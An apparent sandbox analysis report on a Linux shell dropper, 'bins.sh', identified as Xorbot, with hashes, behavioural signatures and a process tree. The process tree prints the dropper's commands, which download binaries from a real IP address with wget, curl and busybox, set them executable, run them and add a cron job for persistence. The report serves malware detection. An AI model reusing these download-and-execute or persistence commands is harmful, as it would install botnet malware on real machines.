Analysis
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max time kernel
150s -
max time network
153s -
platform
debian-9_armhf -
resource
debian9-armhf-20240611-en -
resource tags
arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem -
submitted
04/12/2024, 14:41
Static task
static1
Behavioral task
behavioral1
Sample
bins.sh
Resource
ubuntu1804-amd64-20240611-en
Behavioral task
behavioral2
Sample
bins.sh
Resource
debian9-armhf-20240611-en
Behavioral task
behavioral3
Sample
bins.sh
Resource
debian9-mipsbe-20240611-en
Behavioral task
behavioral4
Sample
bins.sh
Resource
debian9-mipsel-20240226-en
General
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Target
bins.sh
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Size
10KB
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MD5
d179667ead2f245ddba283f8e2fb59ef
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SHA1
8654aace077f9788caaf8d949452e5dcf73b6312
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SHA256
f379ab849a701f49f2fa39b75b82c5bc77dd368697aef31fdec28919506f60f6
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SHA512
c019f5fb06c6b1413fe9e3330ac0423f5bd9186353542aad29c195c17192fd3024fbed593cb199abcedc1d9187efda3b928bcf36cd346a3d9bc87d093500ea38
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SSDEEP
192:gVWERGiyF9rl3g6j6d0VJLbgFGiyF9rt6d0d:gUEi77xd
Malware Config
Signatures
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resource yara_rule behavioral2/files/fstream-1.dat family_xorbot -
Xorbot family
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File and Directory Permissions Modification 1 TTPs 1 IoCs
Adversaries may modify file or directory permissions to evade defenses.
pid Process 690 chmod -
Executes dropped EXE 1 IoCs
ioc pid Process /tmp/olmdMD6HXDPZ2E2pg1AbD5j5GpYrrcd7xa 691 olmdMD6HXDPZ2E2pg1AbD5j5GpYrrcd7xa -
Renames itself 1 IoCs
pid Process 692 olmdMD6HXDPZ2E2pg1AbD5j5GpYrrcd7xa -
Creates/modifies Cron job 1 TTPs 1 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
description ioc Process File opened for modification /var/spool/cron/crontabs/tmp.KzSYbg crontab -
Enumerates running processes
Discovers information about currently running processes on the system
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Checks CPU configuration 1 TTPs 1 IoCs
Checks CPU information which indicate if the system is a virtual machine.
description ioc Process File opened for reading /proc/cpuinfo curl -
description ioc Process File opened for reading /proc/15/cmdline olmdMD6HXDPZ2E2pg1AbD5j5GpYrrcd7xa File opened for reading /proc/43/cmdline olmdMD6HXDPZ2E2pg1AbD5j5GpYrrcd7xa File opened for reading /proc/406/cmdline olmdMD6HXDPZ2E2pg1AbD5j5GpYrrcd7xa File opened for reading /proc/718/cmdline olmdMD6HXDPZ2E2pg1AbD5j5GpYrrcd7xa File opened for reading /proc/721/cmdline olmdMD6HXDPZ2E2pg1AbD5j5GpYrrcd7xa File opened for reading /proc/824/cmdline olmdMD6HXDPZ2E2pg1AbD5j5GpYrrcd7xa File opened for reading /proc/863/cmdline olmdMD6HXDPZ2E2pg1AbD5j5GpYrrcd7xa File opened for reading /proc/710/cmdline olmdMD6HXDPZ2E2pg1AbD5j5GpYrrcd7xa File opened for reading /proc/809/cmdline olmdMD6HXDPZ2E2pg1AbD5j5GpYrrcd7xa File opened for reading /proc/78/cmdline olmdMD6HXDPZ2E2pg1AbD5j5GpYrrcd7xa File opened for reading /proc/792/cmdline olmdMD6HXDPZ2E2pg1AbD5j5GpYrrcd7xa File opened for reading /proc/821/cmdline olmdMD6HXDPZ2E2pg1AbD5j5GpYrrcd7xa File opened for reading /proc/699/cmdline olmdMD6HXDPZ2E2pg1AbD5j5GpYrrcd7xa File opened for reading /proc/730/cmdline olmdMD6HXDPZ2E2pg1AbD5j5GpYrrcd7xa File opened for reading /proc/820/cmdline olmdMD6HXDPZ2E2pg1AbD5j5GpYrrcd7xa File opened for reading /proc/852/cmdline olmdMD6HXDPZ2E2pg1AbD5j5GpYrrcd7xa File opened for reading /proc/2/cmdline olmdMD6HXDPZ2E2pg1AbD5j5GpYrrcd7xa File opened for reading /proc/20/cmdline olmdMD6HXDPZ2E2pg1AbD5j5GpYrrcd7xa File opened for reading /proc/745/cmdline olmdMD6HXDPZ2E2pg1AbD5j5GpYrrcd7xa File opened for reading /proc/755/cmdline olmdMD6HXDPZ2E2pg1AbD5j5GpYrrcd7xa File opened for reading /proc/788/cmdline olmdMD6HXDPZ2E2pg1AbD5j5GpYrrcd7xa File opened for reading /proc/611/cmdline olmdMD6HXDPZ2E2pg1AbD5j5GpYrrcd7xa File opened for reading /proc/667/cmdline olmdMD6HXDPZ2E2pg1AbD5j5GpYrrcd7xa File opened for reading /proc/850/cmdline olmdMD6HXDPZ2E2pg1AbD5j5GpYrrcd7xa File opened for reading /proc/836/cmdline olmdMD6HXDPZ2E2pg1AbD5j5GpYrrcd7xa File opened for reading /proc/813/cmdline olmdMD6HXDPZ2E2pg1AbD5j5GpYrrcd7xa File opened for reading /proc/818/cmdline olmdMD6HXDPZ2E2pg1AbD5j5GpYrrcd7xa File opened for reading /proc/831/cmdline olmdMD6HXDPZ2E2pg1AbD5j5GpYrrcd7xa File opened for reading /proc/41/cmdline olmdMD6HXDPZ2E2pg1AbD5j5GpYrrcd7xa File opened for reading /proc/42/cmdline olmdMD6HXDPZ2E2pg1AbD5j5GpYrrcd7xa File opened for reading /proc/100/cmdline olmdMD6HXDPZ2E2pg1AbD5j5GpYrrcd7xa File opened for reading /proc/654/cmdline olmdMD6HXDPZ2E2pg1AbD5j5GpYrrcd7xa File opened for reading /proc/765/cmdline olmdMD6HXDPZ2E2pg1AbD5j5GpYrrcd7xa File opened for reading /proc/868/cmdline olmdMD6HXDPZ2E2pg1AbD5j5GpYrrcd7xa File opened for reading /proc/14/cmdline olmdMD6HXDPZ2E2pg1AbD5j5GpYrrcd7xa File opened for reading /proc/18/cmdline olmdMD6HXDPZ2E2pg1AbD5j5GpYrrcd7xa File opened for reading /proc/826/cmdline olmdMD6HXDPZ2E2pg1AbD5j5GpYrrcd7xa File opened for reading /proc/828/cmdline olmdMD6HXDPZ2E2pg1AbD5j5GpYrrcd7xa File opened for reading /proc/853/cmdline olmdMD6HXDPZ2E2pg1AbD5j5GpYrrcd7xa File opened for reading /proc/798/cmdline olmdMD6HXDPZ2E2pg1AbD5j5GpYrrcd7xa File opened for reading /proc/814/cmdline olmdMD6HXDPZ2E2pg1AbD5j5GpYrrcd7xa File opened for reading /proc/759/cmdline olmdMD6HXDPZ2E2pg1AbD5j5GpYrrcd7xa File opened for reading /proc/767/cmdline olmdMD6HXDPZ2E2pg1AbD5j5GpYrrcd7xa File opened for reading /proc/773/cmdline olmdMD6HXDPZ2E2pg1AbD5j5GpYrrcd7xa File opened for reading /proc/169/cmdline olmdMD6HXDPZ2E2pg1AbD5j5GpYrrcd7xa File opened for reading /proc/263/cmdline olmdMD6HXDPZ2E2pg1AbD5j5GpYrrcd7xa File opened for reading /proc/411/cmdline olmdMD6HXDPZ2E2pg1AbD5j5GpYrrcd7xa File opened for reading /proc/697/cmdline olmdMD6HXDPZ2E2pg1AbD5j5GpYrrcd7xa File opened for reading /proc/700/cmdline olmdMD6HXDPZ2E2pg1AbD5j5GpYrrcd7xa File opened for reading /proc/885/cmdline olmdMD6HXDPZ2E2pg1AbD5j5GpYrrcd7xa File opened for reading /proc/817/cmdline olmdMD6HXDPZ2E2pg1AbD5j5GpYrrcd7xa File opened for reading /proc/451/cmdline olmdMD6HXDPZ2E2pg1AbD5j5GpYrrcd7xa File opened for reading /proc/708/cmdline olmdMD6HXDPZ2E2pg1AbD5j5GpYrrcd7xa File opened for reading /proc/741/cmdline olmdMD6HXDPZ2E2pg1AbD5j5GpYrrcd7xa File opened for reading /proc/758/cmdline olmdMD6HXDPZ2E2pg1AbD5j5GpYrrcd7xa File opened for reading /proc/804/cmdline olmdMD6HXDPZ2E2pg1AbD5j5GpYrrcd7xa File opened for reading /proc/812/cmdline olmdMD6HXDPZ2E2pg1AbD5j5GpYrrcd7xa File opened for reading /proc/832/cmdline olmdMD6HXDPZ2E2pg1AbD5j5GpYrrcd7xa File opened for reading /proc/21/cmdline olmdMD6HXDPZ2E2pg1AbD5j5GpYrrcd7xa File opened for reading /proc/686/cmdline olmdMD6HXDPZ2E2pg1AbD5j5GpYrrcd7xa File opened for reading /proc/702/cmdline olmdMD6HXDPZ2E2pg1AbD5j5GpYrrcd7xa File opened for reading /proc/735/cmdline olmdMD6HXDPZ2E2pg1AbD5j5GpYrrcd7xa File opened for reading /proc/784/cmdline olmdMD6HXDPZ2E2pg1AbD5j5GpYrrcd7xa File opened for reading /proc/filesystems crontab -
Writes file to tmp directory 3 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/olmdMD6HXDPZ2E2pg1AbD5j5GpYrrcd7xa wget File opened for modification /tmp/olmdMD6HXDPZ2E2pg1AbD5j5GpYrrcd7xa curl File opened for modification /tmp/olmdMD6HXDPZ2E2pg1AbD5j5GpYrrcd7xa busybox
Processes
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/tmp/bins.sh/tmp/bins.sh1⤵PID:656
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/bin/rm/bin/rm bins.sh2⤵PID:664
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/usr/bin/wgetwget http://216.126.231.240/bins/olmdMD6HXDPZ2E2pg1AbD5j5GpYrrcd7xa2⤵
- Writes file to tmp directory
PID:666
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/usr/bin/curlcurl -O http://216.126.231.240/bins/olmdMD6HXDPZ2E2pg1AbD5j5GpYrrcd7xa2⤵
- Checks CPU configuration
- Writes file to tmp directory
PID:680
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/bin/busybox/bin/busybox wget http://216.126.231.240/bins/olmdMD6HXDPZ2E2pg1AbD5j5GpYrrcd7xa2⤵
- Writes file to tmp directory
PID:688
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/bin/chmodchmod 777 olmdMD6HXDPZ2E2pg1AbD5j5GpYrrcd7xa2⤵
- File and Directory Permissions Modification
PID:690
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/tmp/olmdMD6HXDPZ2E2pg1AbD5j5GpYrrcd7xa./olmdMD6HXDPZ2E2pg1AbD5j5GpYrrcd7xa2⤵
- Executes dropped EXE
- Renames itself
- Reads runtime system information
PID:691 -
/bin/shsh -c "crontab -l"3⤵PID:693
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/usr/bin/crontabcrontab -l4⤵PID:694
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/bin/shsh -c "crontab -"3⤵PID:695
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/usr/bin/crontabcrontab -4⤵
- Creates/modifies Cron job
- Reads runtime system information
PID:696
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/bin/rmrm olmdMD6HXDPZ2E2pg1AbD5j5GpYrrcd7xa2⤵PID:698
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/usr/bin/wgetwget http://216.126.231.240/bins/4EtZoLakwM3kqXJRUN1Y8E2OorAOgWyiJp2⤵PID:701
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/usr/bin/curlcurl -O http://216.126.231.240/bins/4EtZoLakwM3kqXJRUN1Y8E2OorAOgWyiJp2⤵PID:702
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
127KB
MD589077b7bd4bcafca7713be43635c4862
SHA1fc02edb8fba29ea8ee99e6157ef8560334530052
SHA25678416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d
SHA5121b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1
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Filesize
210B
MD5ee7ce4e80c63a4523c522035231897e6
SHA16e9443dc143cc5b50534d016e8a024df953bd353
SHA256c8ab4d43ba4c775348dc2d77d2f3d6d01352eefa46e68706372300c59c9a39ee
SHA512c0aa2589a975d264cc4a889dc826508f20404b74356e2eeb3f0362e4a3dd3db0d457f7bf7bca93308280960007660bf0c2243d07a347757c42e2d593c1c4b904